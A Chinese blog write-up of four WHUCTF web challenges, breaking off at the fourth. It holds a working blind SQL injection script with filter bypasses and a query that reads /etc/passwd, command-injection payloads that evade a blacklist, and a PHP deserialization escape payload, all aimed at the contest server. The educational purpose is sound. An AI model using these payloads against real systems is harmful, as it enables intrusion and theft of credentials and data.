這是做者網絡安全自學教程系列,主要是關於安全工具和實踐操做的在線筆記,特分享出來與博友們學習,但願您喜歡,一塊兒進步。前文分享了Windows PE病毒, 包括PE病毒原理、分類及感染方式詳解,並經過案例進行介紹。這篇文章將介紹WHUCTF部分題目,第一次參加CTF,仍是能學到不少東西。下面分享四個我完成的WEB類型題目的解題過程,但願對您有所幫助。原本感受能作出6道題目,但有兩道題卡在某個點,後面幾天忙於其餘事情,就沒再參加。人生路上,要珍惜好每一天與家人陪伴的日子。感謝武漢大學,感謝網安學院,感謝這些大佬和師傅們(尤爲出題和解題的老師們)~javascript
做者做爲網絡安全的小白,分享一些自學基礎教程給你們,主要是關於安全工具和實踐操做的在線筆記,但願您們喜歡。同時,更但願您能與我一塊兒操做和進步,後續將深刻學習網絡安全和系統安全知識並分享相關實驗。總之,但願該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!若是文章對您有幫助,將是我創做的最大動力,點贊、評論、私聊都可,一塊兒加油喔~php
文章目錄
PS:本文參考了《軟件安全》視頻、安全網站和參考文獻中的文章(詳見參考文獻),並結合本身的經驗和實踐進行撰寫,也推薦你們閱讀參考文獻。css
做者的github資源:
軟件安全:https://github.com/eastmountyxz/Software-Security-Course
其餘工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
XSS案例:https://github.com/eastmountyxz/XSS-Experiment
html
聲明:本人堅定反對利用教學方法進行犯罪的行爲,一切犯罪行爲必將受到嚴懲,綠色網絡須要咱們共同維護,更推薦你們瞭解它們背後的原理,更好地進行防禦。java
前文學習:
[網絡安全自學篇] 一.入門筆記之看雪Web安全學習及異或解密示例
[網絡安全自學篇] 二.Chrome瀏覽器保留密碼功能滲透解析及登陸加密入門筆記
[網絡安全自學篇] 三.Burp Suite工具安裝配置、Proxy基礎用法及暴庫示例
[網絡安全自學篇] 四.實驗吧CTF實戰之WEB滲透和隱寫術解密
[網絡安全自學篇] 五.IDA Pro反彙編工具初識及逆向工程解密實戰
[網絡安全自學篇] 六.OllyDbg動態分析工具基礎用法及Crakeme逆向
[網絡安全自學篇] 七.快手視頻下載之Chrome瀏覽器Network分析及Python爬蟲探討
[網絡安全自學篇] 八.Web漏洞及端口掃描之Nmap、ThreatScan和DirBuster工具
[網絡安全自學篇] 九.社會工程學之基礎概念、IP獲取、IP物理定位、文件屬性
[網絡安全自學篇] 十.論文之基於機器學習算法的主機惡意代碼
[網絡安全自學篇] 十一.虛擬機VMware+Kali安裝入門及Sqlmap基本用法
[網絡安全自學篇] 十二.Wireshark安裝入門及抓取網站用戶名密碼(一)
[網絡安全自學篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及數據流追蹤和圖像抓取(二)
[網絡安全自學篇] 十四.Python攻防之基礎常識、正則表達式、Web編程和套接字通訊(一)
[網絡安全自學篇] 十五.Python攻防之多線程、C段掃描和數據庫編程(二)
[網絡安全自學篇] 十六.Python攻防之弱口令、自定義字典生成及網站暴庫防禦
[網絡安全自學篇] 十七.Python攻防之構建Web目錄掃描器及ip代理池(四)
[網絡安全自學篇] 十八.XSS跨站腳本攻擊原理及代碼攻防演示(一)
[網絡安全自學篇] 十九.Powershell基礎入門及常見用法(一)
[網絡安全自學篇] 二十.Powershell基礎入門及常見用法(二)
[網絡安全自學篇] 二十一.GeekPwn極客大賽之安全攻防技術總結及ShowTime
[網絡安全自學篇] 二十二.Web滲透之網站信息、域名信息、端口信息、敏感信息及指紋信息收集
[網絡安全自學篇] 二十三.基於機器學習的惡意請求識別及安全領域中的機器學習
[網絡安全自學篇] 二十四.基於機器學習的惡意代碼識別及人工智能中的惡意代碼檢測
[網絡安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防護初探
[網絡安全自學篇] 二十六.Shodan搜索引擎詳解及Python命令行調用
[網絡安全自學篇] 二十七.Sqlmap基礎用法、CTF實戰及請求參數設置(一)
[網絡安全自學篇] 二十八.文件上傳漏洞和Caidao入門及防護原理(一)
[網絡安全自學篇] 二十九.文件上傳漏洞和IIS6.0解析漏洞及防護原理(二)
[網絡安全自學篇] 三十.文件上傳漏洞、編輯器漏洞和IIS高版本漏洞及防護(三)
[網絡安全自學篇] 三十一.文件上傳漏洞之Upload-labs靶場及CTF題目01-10(四)
[網絡安全自學篇] 三十二.文件上傳漏洞之Upload-labs靶場及CTF題目11-20(五)
[網絡安全自學篇] 三十三.文件上傳漏洞之繞狗一句話原理和繞過安全狗(六)
[網絡安全自學篇] 三十四.Windows系統漏洞之5次Shift漏洞啓動計算機
[網絡安全自學篇] 三十五.惡意代碼攻擊溯源及惡意樣本分析
[網絡安全自學篇] 三十六.WinRAR漏洞復現(CVE-2018-20250)及惡意軟件自啓動劫持
[網絡安全自學篇] 三十七.Web滲透提升班之hack the box在線靶場註冊及入門知識(一)
[網絡安全自學篇] 三十八.hack the box滲透之BurpSuite和Hydra密碼爆破及Python加密Post請求(二)
[網絡安全自學篇] 三十九.hack the box滲透之DirBuster掃描路徑及Sqlmap高級注入用法(三)
[網絡安全自學篇] 四十.phpMyAdmin 4.8.1後臺文件包含漏洞復現及詳解(CVE-2018-12613)
[網絡安全自學篇] 四十一.中間人攻擊和ARP欺騙原理詳解及漏洞還原
[網絡安全自學篇] 四十二.DNS欺騙和釣魚網站原理詳解及漏洞還原
[網絡安全自學篇] 四十三.木馬原理詳解、遠程服務器IPC$漏洞及木馬植入實驗
[網絡安全自學篇] 四十四.Windows遠程桌面服務漏洞(CVE-2019-0708)復現及詳解
[網絡安全自學篇] 四十五.病毒詳解及批處理病毒製做(自啓動、修改密碼、定時關機、藍屏、進程關閉)
[網絡安全自學篇] 四十六.微軟證書漏洞CVE-2020-0601 (上)Windows驗證機制及可執行文件簽名復現
[網絡安全自學篇] 四十七.微軟證書漏洞CVE-2020-0601 (下)Windows證書籤名及HTTPS網站劫持
[網絡安全自學篇] 四十八.Cracer第八期——(1)安全術語、Web滲透流程、Windows基礎、註冊表及黑客經常使用DOS命令
[網絡安全自學篇] 四十九.Procmon軟件基本用法及文件進程、註冊表查看
[網絡安全自學篇] 五十.虛擬機基礎之安裝XP系統、文件共享、網絡快照設置及Wireshark抓取BBS密碼
[網絡安全自學篇] 五十一.惡意樣本分析及HGZ木馬控制目標服務器
[網絡安全自學篇] 五十二.Windows漏洞利用之棧溢出原理和棧保護GS機制
[網絡安全自學篇] 五十三.Windows漏洞利用之Metasploit實現棧溢出攻擊及反彈shell
[網絡安全自學篇] 五十四.Windows漏洞利用之基於SEH異常處理機制的棧溢出攻擊及shell提取
[網絡安全自學篇] 五十五.Windows漏洞利用之構建ROP鏈繞過DEP並獲取Shell
[網絡安全自學篇] 五十六.i春秋老師分享小白滲透之路及Web滲透技術總結
[網絡安全自學篇] 五十七.PE文件逆向之什麼是數字簽名及Signtool簽名工具詳解(一)
[網絡安全自學篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反彈shell
[網絡安全自學篇] 五十九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及shell深度提權
[網絡安全自學篇] 六十.Cracer第八期——(2)五萬字總結Linux基礎知識和經常使用滲透命令
[網絡安全自學篇] 六十一.PE文件逆向之數字簽名詳細解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[網絡安全自學篇] 六十二.PE文件逆向之PE文件解析、PE編輯工具使用和PE結構修改(三)
[網絡安全自學篇] 六十三.hack the box滲透之OpenAdmin題目及蟻劍管理員提權(四)
[網絡安全自學篇] 六十四.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現及詳解
[網絡安全自學篇] 六十五.Vulnhub靶機滲透之環境搭建及JIS-CTF入門和蟻劍提權示例(一)
[網絡安全自學篇] 六十六.Vulnhub靶機滲透之DC-1提權和Drupal漏洞利用(二)
[網絡安全自學篇] 六十七.WannaCry勒索病毒復現及分析(一)Python利用永恆之藍及Win7勒索加密
[網絡安全自學篇] 六十八.WannaCry勒索病毒復現及分析(二)MS17-010利用及病毒解析
[網絡安全自學篇] 六十九.宏病毒之入門基礎、防護措施、自發郵件及APT28樣本分析
[網絡安全自學篇] 七十.WannaCry勒索病毒復現及分析(三)蠕蟲傳播機制分析及IDA和OD逆向
[網絡安全自學篇] 七十一.深信服分享以外部威脅防禦和勒索病毒對抗
[網絡安全自學篇] 七十二.逆向分析之OllyDbg動態調試工具(一)基礎入門及TraceMe案例分析
[網絡安全自學篇] 七十三.WannaCry勒索病毒復現及分析(四)蠕蟲傳播機制全網源碼詳細解讀
[網絡安全自學篇] 七十四.APT攻擊檢測溯源與常見APT組織的攻擊案例
[網絡安全自學篇] 七十五.Vulnhub靶機滲透之bulldog信息收集和nc反彈shell(三)
[網絡安全自學篇] 七十六.逆向分析之OllyDbg動態調試工具(二)INT3斷點、反調試、硬件斷點與內存斷點
[網絡安全自學篇] 七十七.惡意代碼與APT攻擊中的武器(強推Seak老師)
[網絡安全自學篇] 七十八.XSS跨站腳本攻擊案例分享及總結(二)
[網絡安全自學篇] 七十九.Windows PE病毒原理、分類及感染方式詳解
python
前文欣賞:
[滲透&攻防] 一.從數據庫原理學習網絡攻防及防止SQL注入
[滲透&攻防] 二.SQL MAP工具從零解讀數據庫及基礎用法
[滲透&攻防] 三.數據庫之差別備份及Caidao利器
[滲透&攻防] 四.詳解MySQL數據庫攻防及Fiddler神器分析數據包
mysql
一.Easy_sqli
1.題目描述
網址: http://218.197.154.9:10011/login.php
考點: SQL注入
linux
主界面顯示以下圖所示:git
核心代碼以下,採用POST提交請求。github
<!DOCTYPE html> <!-- saved from url=(0036)http://218.197.154.9:10011/login.php --> <html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Login</title> <link rel="stylesheet" href="./Login_files/login.css"> <link rel="stylesheet" href="./Login_files/font-awesome.css"> </head> <body> <div id="login-box"> <h1>Sign Up</h1> <div class="form"> <form action="http://218.197.154.9:10011/login.php#" onsubmit="return check(this)" method="post" accept-charset="utf-8"> <div class="item"> <i class="fa fa-user-circle" aria-hidden="true"></i> <input type="text" name="user" placeholder="Username"> </div> <div class="item"> <i class="fa fa-key" aria-hidden="true"></i> <input type="text" name="pass" placeholder="Password"> </div> <button type="submit">Login</button> </form> </div> </div> <div> <script type="text/javascript"> function check(form) { if(form.user.value == "") { alert("Username could not be empty!"); form.user.focus(); return false; } if(form.pass.value == "") { alert("Password could not be empty!"); form.pass.focus(); return false; } return true; } </script> </div> </body></html>
2.解題思路
(1) 首先,該題僅一個登錄頁面,首先想到的是萬能密碼登陸,好比admin、‘or’=‘or’ 等。
當咱們輸入admin提示登陸失敗,而且反饋SQL語句。
Your sql statement is: SELECT password FROM users WHERE username='admin' AND password='admin'
當咱們輸入 ‘or’=’ 提示登陸成功,但沒有跳轉下一個界面而直接返回登陸界面,同時返回的SQL語句看到or被屏蔽了。此時,可能部分同窗會疑惑明明登陸成功,怎麼沒返回flag呢?這裏並無成功了。
Your sql statement is: SELECT password FROM users WHERE username=''''='' AND password=''''=''
同時,嘗試用戶名和密碼拼接繞過也沒成功。
'or'=' union SELECT 1,database() 'or'='/**/union/**/select/**/1,database() 'oorr'=' union seselectlect 1,database()
這裏推薦兩篇常規的SQL注入文章:
(2) 做者遇到網站都喜歡掃描目錄和端口,但這裏也沒有好的信息。同時,採用SQLMAP掃描也沒有什麼成功,以下圖所示。
- dirb http://218.197.154.9:10011/ /usr/share/dirb/wordlists/small.txt
- sqlmap -u 「http://218.197.154.9:10011/img/?C=D;O=A」 --dbs
(3) 當SQLMAP等工具不能使用時,咱們須要經過手工找到注入點或進行注入,這裏補充一種很是使用的方法,經過Python發送數據包來反彈數據庫、表、字段和用戶名及密碼。
- ① 獲取數據庫名稱
import requests,urllib import math from urllib.parse import quote_plus #代理配置 proxies = { 'http': 'http://127.0.0.1:8888', 'https': 'http://127.0.0.1:8888' } proxies = None #設置消息頭 reqHeaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en,en-US;q=0.8,zh-CN;q=0.5,zh;q=0.3', 'Accept-Encoding': 'gzip, deflate, br' } postHeaders = reqHeaders.copy() postHeaders['Referer'] = 'http://218.197.154.9:10011/login.php' postHeaders['Content-Type'] = 'application/x-www-form-urlencoded' #定義網址 url = 'http://218.197.154.9:10011/login.php' """發送POST數據""" #數據庫名 postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr') print(postStr) #設置請求 reqSess = requests.session() #reqSess.cookies.set('JSESSIONID','87B415C3E689651FF292DA16B32AB3EF') #Current Bit & Max Bits cb, mb = 1,4096 #採用二分查重匹配字符串 stillLeft = True while cb < mb and stillLeft: #ascii of start,middle and end s,m,e = 0,0,255 while s < e: sqliStr = postStr.format(cb,m) print(sqliStr) postHeaders['Content-Length']= str(len(postStr)) #print(postHeaders) currentFailedTimes,maxFailedTimes = 0,10 while currentFailedTimes < maxFailedTimes: try: rst = reqSess.post(url,sqliStr,headers=postHeaders, proxies=proxies,allow_redirects=False,verify=False) break except Exception as ex: if currentFailedTimes > 5: print('[X]Failed Times:%d'%(currentFailedTimes)) currentFailedTimes += 1 if currentFailedTimes == maxFailedTimes: exit("Too Much Errors,Going To Stop") #result is true if 'Login success' in rst.text: #print("[v]{}:{}->{}->{}".format(cb,s,m,e)) if e - 1 == m: m = e break s = m else: #print("[x]{}:{}->{}->{}".format(cb,s,m,e)) #even > 0 is error,no bits left if m == 0: stillLeft = False break if e - 1 == m: break e = m m = s + math.ceil((e - s)/2) if not m == 0: print(chr(m),end='\n') cb += 1
輸出結果以下圖所示,經過二分查找獲取數據庫database()第一位是e,最終獲取數據庫名稱。核心代碼以下:
postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')
對應的SQL語句爲:
SELECT password FROM users WHERE username=‘aa’ or substr(database(),1,1)>64 –’ AND password=’’
簡單修改代碼,把中間輸出的值註釋掉,並輸出的字符串拼接在一塊兒,最終輸出結果以下圖所示,數據庫爲easy_sql1。
- #print(sqliStr)
- print(chr(m),end=’’)
- ② 獲取系統密碼信息
postStr = """user=aa'or+ascii(substr(load_file('/etc/passwd'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct')
輸出結果以下:
- ③ 獲取數據庫表名信息
注意這裏是子查詢,group_concat()函數將表名鏈接在一行,採用逗號分隔。
postStr = """user=aa'or+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
輸出結果以下,包括f1ag_y0u_wi1l_n3ver_kn0w、users。
- ④ 獲取用戶名和密碼
本題主要是獲取f1ag表中的字段和值,而真實的網站中一般須要獲取用戶表的信息。
postStr = """user=aa'or+ascii(substr((select group_concat(username,0x2b,password) from users),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
輸出結果以下,這些用戶名和密碼均能登陸,但登陸成功後仍會返回界面。
- ⑤ 獲取f1ag表字段
postStr = """user=aa'or+ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_y0u_wi1l_n3ver_kn0w'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
輸出結果以下,字段爲f111114g。
- ⑥ 獲取f1ag字段對應的值
postStr = """user=aa'or+ascii(substr((select group_concat(f111114g) from f1ag_y0u_wi1l_n3ver_kn0w),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
輸出結果以下,並獲取flag值。
題目+實戰總結:
- 本題考察SQL注入,傳統的手工注入和SQLMAP有時會遇到攔截,咱們能夠嘗試其餘方法
- 做者提供一種基於Python的自動化SQL注入方法,同時採用二分查找進行匹配及暴庫,較爲適用
- 當咱們拿到一個網站,首先須要儘量地收集(端口、服務、目錄),弱口令、萬能密碼測試,接下來想辦法找漏洞點,不一樣系統版本會有不一樣的漏洞
完整代碼:
import requests,urllib import math from urllib.parse import quote_plus #代理配置 proxies = { 'http': 'http://127.0.0.1:8888', 'https': 'http://127.0.0.1:8888' } proxies = None #設置消息頭 reqHeaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en,en-US;q=0.8,zh-CN;q=0.5,zh;q=0.3', 'Accept-Encoding': 'gzip, deflate, br' } postHeaders = reqHeaders.copy() postHeaders['Referer'] = 'http://218.197.154.9:10011/login.php' postHeaders['Content-Type'] = 'application/x-www-form-urlencoded' #定義網址 url = 'http://218.197.154.9:10011/login.php' """發送POST數據""" #數據庫名 postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr') #系統密碼 postStr = """user=aa'or+ascii(substr(load_file('/etc/passwd'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct') #獲取表名 postStr = """user=aa'or+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree') #f1ag_y0u_wi1l_n3ver_kn0w,users #用戶名和密碼 postStr = """user=aa'or+ascii(substr((select group_concat(username,0x2b,password) from users),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree') #Dumb+Dumb,Angelina+I-kill-you,Dummy+p@ssword,secure+crappy,stupid+stupidity #獲取f1ag字段 postStr = """user=aa'or+ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_y0u_wi1l_n3ver_kn0w'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree') #f111114g #獲取對應值 postStr = """user=aa'or+ascii(substr((select group_concat(f111114g) from f1ag_y0u_wi1l_n3ver_kn0w),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree') #WHUCTF{r3lly_re11y_n0t_d1ffIcult_yet??~} print(postStr) #設置請求 reqSess = requests.session() #reqSess.cookies.set('JSESSIONID','87B415C3E689651FF292DA16B32AB3EF') #Current Bit & Max Bits cb, mb = 1,4096 #採用二分查重匹配字符串 stillLeft = True while cb < mb and stillLeft: #ascii of start,middle and end s,m,e = 0,0,255 while s < e: sqliStr = postStr.format(cb,m) #print(sqliStr) postHeaders['Content-Length']= str(len(postStr)) #print(postHeaders) currentFailedTimes,maxFailedTimes = 0,10 while currentFailedTimes < maxFailedTimes: try: rst = reqSess.post(url,sqliStr,headers=postHeaders, proxies=proxies,allow_redirects=False,verify=False) break except Exception as ex: if currentFailedTimes > 5: print('[X]Failed Times:%d'%(currentFailedTimes)) currentFailedTimes += 1 if currentFailedTimes == maxFailedTimes: exit("Too Much Errors,Going To Stop") #result is true if 'Login success' in rst.text: #print("[v]{}:{}->{}->{}".format(cb,s,m,e)) if e - 1 == m: m = e break s = m else: #print("[x]{}:{}->{}->{}".format(cb,s,m,e)) #even > 0 is error,no bits left if m == 0: stillLeft = False break if e - 1 == m: break e = m m = s + math.ceil((e - s)/2) if not m == 0: print(chr(m),end='') cb += 1
最後補充武大CTF師傅的WP代碼,推薦你們學習。
import requests import string res = requests.session() url = 'http://218.197.154.9:10011/login.php' flag = '' for j in range(1,200): for i in string.printable: # payload = "admin' and if(((substr((seselectlect database()),{},1))='{}'),1,2)=1#".format(j,i) # payload = "admin' and if((substring((seleselectct database()),{},1)='{}'),1,2)=1#".format(j,i) # easy_sql1 # payload = "admin' and if((substring((selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()),{},1)='{}'),1,2)=1#".format(j,i) # f1ag_y0u_wi1l_n3ver # payload = "admin' and if((substring((selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'f1ag_y0u_wi1l_n3ver_kn0w'),{},1)='{}'),1,2)=1#".format(j,i) # payload = "admin' and if((substring((seselectlect group_concat(f111114g) frofromm f1ag_y0u_wi1l_n3ver_kn0w),{},1)='{}'),1,2)=1#".format(j,i) # payload = "admin' and if(ascii(substring((seselectlect group_concat(f111114g) frofromm f1ag_y0u_wi1l_n3ver_kn0w),{},1))=ascii('{}'),1,2)=1#".format(j,i) data = { "user" : payload, "pass" : 1 } content = res.post(url,data=data) result = content.text # print(result) # if 'success' in result: flag += i print(flag) break
二.ezcmd
1.題目描述
網址: http://218.197.154.9:10011/login.php
考點: CMD命令繞過
主界面顯示以下圖所示:
題目代碼以下:
<?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("no space!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("no flag"); } else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){ die("cat't read flag"); } $a = shell_exec("ping -c 4 ".$ip); echo "<pre>"; print_r($a); } highlight_file(__FILE__); ?>
2.解題思路
看到這類題目,首先想到的是命令執行方法利用管道符或者分號,而後再層層繞過。該題目有三處限制:不能有空格、不能有flag字樣,不能有cat等命令。
(1) 利用ip本地地址和ls命令查看目錄下文件。
- http://218.197.154.9:10016/?ip=127.0.0.1|ls
結果:咱們看到了flag.php和index.php文件。
(2) 接着想辦法利用cat命令讀取flag.php內容。
- http://218.197.154.9:10016/?ip=127.0.0.1|cat%20flag.php
結果:提示咱們不能使用空格。同時 /tac|rm|echo|cat|nl|less|more|tail|head 讀取指令被ban,須要想辦法進行繞過。當提示空格被ban,咱們能夠利用下面的方法進行繞過。
- $IFS
- ${IFS}
- $IFS$1 // $1 改爲 $ 加其餘數字貌似都行
- <
- <>
- {cat,flag.php} //用逗號實現了空格功能
- %20
- %09
(3) 繞過空格利用cat讀取flag文件。
- http://218.197.154.9:10016/?ip=127.0.0.1|cat$IFS$1flag.php
注意:若是cat被禁用,咱們須要使用tac反向輸出命令,linux命令中能夠加\,甚至能夠ca\t /fl\ag。
結果:此時提示no flag。
(4) PHP源代碼中發現一個變量a,想辦法覆蓋這個變量,下面代碼至關於cat flag.php。
http://218.197.154.9:10016/?ip=218.197.154.9;a=g;ca\t$IFS$1fla$a.php
此時輸出結果以下:PING 127.0.0.1 (127.0.0.1): 56 data bytes,最終在註釋部分看到flag值。
題目+實戰總結:
- 這類題型的命令執行方法是利用管道符或者分號層層繞過
- 接着利用$IFS1繞過空格限制
- 最後使用$a變量繞過黑名單,成功執行cat flag.php命令
?ip=218.197.154.9;a=g;ca\t$IFS$1fla$a.php
同時給出另兩位師傅的繞過payload。
#方法1 ?ip=127.0.0.1;a=g;ca$@t$IFS$1fla$a.php #方法2 url='http://218.197.154.9:10016?ip=127.0.0.1;ls$IFS-l;b=c;n=a;m=t;o=g;p=a;q=l;r=f;s=i;$b$n$m$IFS$r$q$p$o.php' r =requests.get(url) print(r.text)
推薦及參考文章:
三.ezphp
1.題目描述
網址: http://218.197.154.9:10015/
考點: PHP代碼審計
主界面顯示以下圖所示:
核心代碼以下:
<?php error_reporting(0); highlight_file(__file__); $string_1 = $_GET['str1']; $string_2 = $_GET['str2']; //1st if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){ echo '1st ok'."<br>"; } else{ die('會代碼審計嘛23333'); } //2nd if(is_numeric($string_1)){ $md5_1 = md5($string_1); $md5_2 = md5($string_2); if($md5_1 != $md5_2){ $a = strtr($md5_1, 'pggnb', '12345'); $b = strtr($md5_2, 'pggnb', '12345'); if($a == $b){ echo '2nd ok'."<br>"; } else{ die("can u give me the right str???"); } } else{ die("no!!!!!!!!"); } } else{ die('is str1 numeric??????'); } //3nd function filter($string){ return preg_replace('/x/', 'yy', $string); } $username = $_POST['username']; $password = "aaaaa"; $user = array($username, $password); $r = filter(serialize($user)); if(unserialize($r)[1] == "123456"){ echo file_get_contents('flag.php'); } 會代碼審計嘛23333
2.解題思路
本題建議你們本地搭建環境進行測試,這個題目分爲三段繞過測試。
(1) 第一段繞過。
首先num值不等於23333,同時preg_match()函數匹配正則表達式,這裏使用%0A作截斷,經過換行繞過preg_match函數。
- http://218.197.154.9:10015/?num=23333%0A
(2) 第二段繞過。
傳入string_1和string_2並計算md5值,而後要求md5值不相等;再經過strtr()函數將「pggnb」替換成「12345」,替換後的兩個值要求相等,這裏經過PHP弱類型比較漏洞繞過。
PHP在處理哈希字符串時,會利用 != 或 == 來對哈希值進行比較,它把每個以"0E"開頭的哈希值都解釋爲0,若是兩個不一樣的密碼通過哈希之後,其哈希值都是以"0E"開頭,那麼PHP將會認爲他們相同都是0。
解決方法參考52hertz和Ly-sec-l大佬的文章!
在PHP弱類型中,0e+數字類型使用==會被認爲相等,故:
- 可讓md5_1的值以0e開頭,後面含有字母b,md5_2一樣以0e開頭,但只含有數字(純數字),從而繞過md5_1 != md5_2。
- 經過strtr()函數將b替換成5後,使得 $ a == $ b,最終繞過驗證。
這裏咱們須要讓str1通過md5後以0e開頭,後面只包含pggnb中一個或多個的字母,其他是數字,這樣一替換就都是0e形成PHP弱類型的繞過。下列的Python代碼仍是獲取str1含有字母的md5加密值。
import hashlib import re import random import requests # 11230178 def md5(): global dict_az dict_az = 'abcdefghijklmnopqrstuvwxyz' i = 0 while True: result = '' result += str(i) i = i + 1 hashed_s = hashlib.md5(result.encode('utf-8')).hexdigest() r = re.match('^0e[0-9pggnb]{30}', hashed_s) if r: print("[+] found! md5( {} ) ---> {}".format(result, hashed_s)) exit(0) if i % 1000000 == 0: print("[+] current value: {} {} iterations, continue...".format(result, str(i))) md5()
運行結果爲11230178,md5值爲0e732639146814822596b49bb6939b97,替換後就爲純數字。
此時構造的Payload以下,成功繞過第二關。
- http://localhost/0523.php?num=23333%0A&str1=11230178&str2=0e215962017
- http://218.197.154.9:10015/?num=23333%0a&str1=11230178&str2=QNKCDZO
(3) 第三段繞過。
經過filter進行字符替換,unserialize進行反序列化處理。這裏主要利用PHP反序列化中的字符逃逸。
PHP在反序列化時,底層代碼是以 ; 做爲字段的分隔,以 } 做爲結尾(字符串除外),而且是根據長度判斷內容的。好比在一個正常的反序列化的代碼輸入 a:2:{i:0;s:6:「peri0d」;i:1;s:5:「aaaaa」;} 會獲得以下結果,包含兩個值。同時,若是換成 a:2:{i:0;s:6:「peri0d」;i:1;s:5:「aaaaa」;}i:1;s:5:「aaaaa」; 仍然是下面的結果。
<?php class Test{ public $test; } $s1 = 'a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}'; var_dump(unserialize($s1)); echo '<br>'; $s2 = 'a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";'; var_dump(unserialize($s2)); ?>
這道題目的代碼將x替換爲yy,若是把username換成peri0dxxx ,其處理後的序列化結果爲 a:2:{i:0;s:9:「peri0dyyyyyy」;i:1;s:5:「aaaaa」;} 。這個時候確定會反序列化失敗的,由於 s:9:「peri0dyyyyyy」 比之前多了 3 個字符,這就須要繼續增長填充字符實現了密碼的修改。
解決方法:
經過構造 a:2:{i:0;s:5:「admin」;i:1;s:6:「123456」;}";i:1;s:5:「aaaaa」;} 將字符串閉合並控制第二個元素爲123456,但存在長度問題,故添加字符串爲 admin";i:1;s:6:「123456」;},長度爲20,所以咱們構造20個x,xxxxxxxxxxxxxxxxxxxx";i:1;s:6:「123456」;},這樣x就會被替換成yy,咱們就多了20個位置,把咱們的 payload 擠出去,就恰好能夠閉合了。
最終Payload:
- http://localhost/0523.php?num=23333%0A&str1=11230178&str2=0e215962017
- username=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:「123456」;}
import requests from urllib.parse import quote_plus url = "http://218.197.154.9:10015/?num=23333%0A&str1=11230178&str2=QNKCDZO" data = {'username':'xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'} res = requests.post(url=url,data=data) print(res.text) f = open("test0523.txt","w") f.write(res.text) f.close()
flag輸出結果以下:
題目+實戰總結:
- 使用%0A作截斷,經過換行繞過preg_match函數
- 經過PHP弱類型比較漏洞繞過,在PHP弱類型中,0e+數字類型使用==會被認爲相等
- 最後利用PHP反序列化中的字符逃逸
推薦及參考文章:
- PHP Hash比較存在缺陷 - freebuf
- [CTF] PHP Hash漏洞(關於0e開頭的md5值)- pcy190師傅
- 詳解PHP反序列化中的字符逃逸 -
- 2020_WHUCTF_Writeup - Ly-sec-l師傅
- WHUCTF2020 Writeup - 52hertz師傅
四.ezinclude
1.題目描述
網址: http://218.197.154.9:10017/
考點: 文件包含漏洞inlude
主界面顯示以下圖所示:
contact.php核心代碼以下:
